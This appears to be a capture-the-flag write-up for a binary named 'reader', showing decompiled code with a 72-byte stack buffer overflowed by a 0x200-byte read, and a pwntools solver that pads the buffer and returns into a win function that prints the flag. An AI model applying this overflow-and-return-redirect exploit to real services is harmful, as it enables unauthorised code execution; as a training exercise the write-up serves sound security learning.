Solve:
We have a binary called reader.
Opening it up in IDA, we can see the main func:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 0);
banner();
read_card();
return 0;
}
Now read_card():
int read_card()
{
char v1[72]; // [rsp+0h] [rbp-48h] BYREF
printf("operator name on the card> ");
fflush(stdout);
read(0, v1, 0x200u);
printf("logged operator: %s\n", v1);
return puts("card ejected. have a productive shift.");
}
Which is a basic buffer overflow challenge that lets us call win func:
int win()
{
return system("/bin/cat /flag.txt");
}
Basically the payload is having 72 bytes fill up the stack then a ret gadget and the address to win.
Solver:
from pwn import *
elf = ELF("reader")
#io = process(elf.path)
io = remote("d693d554e0ede0d7.ctf.ac.upt.ro", 9000)
io.recvuntil(b': ')
io.sendline(b"<TEAM_TOKEN>")
io.recvuntil(b'> ')
payload = b"A" * 72
payload += p64(0x401016)
payload += p64(0x401176)
io.sendline(payload)
io.interactive()
Kudos to the Author!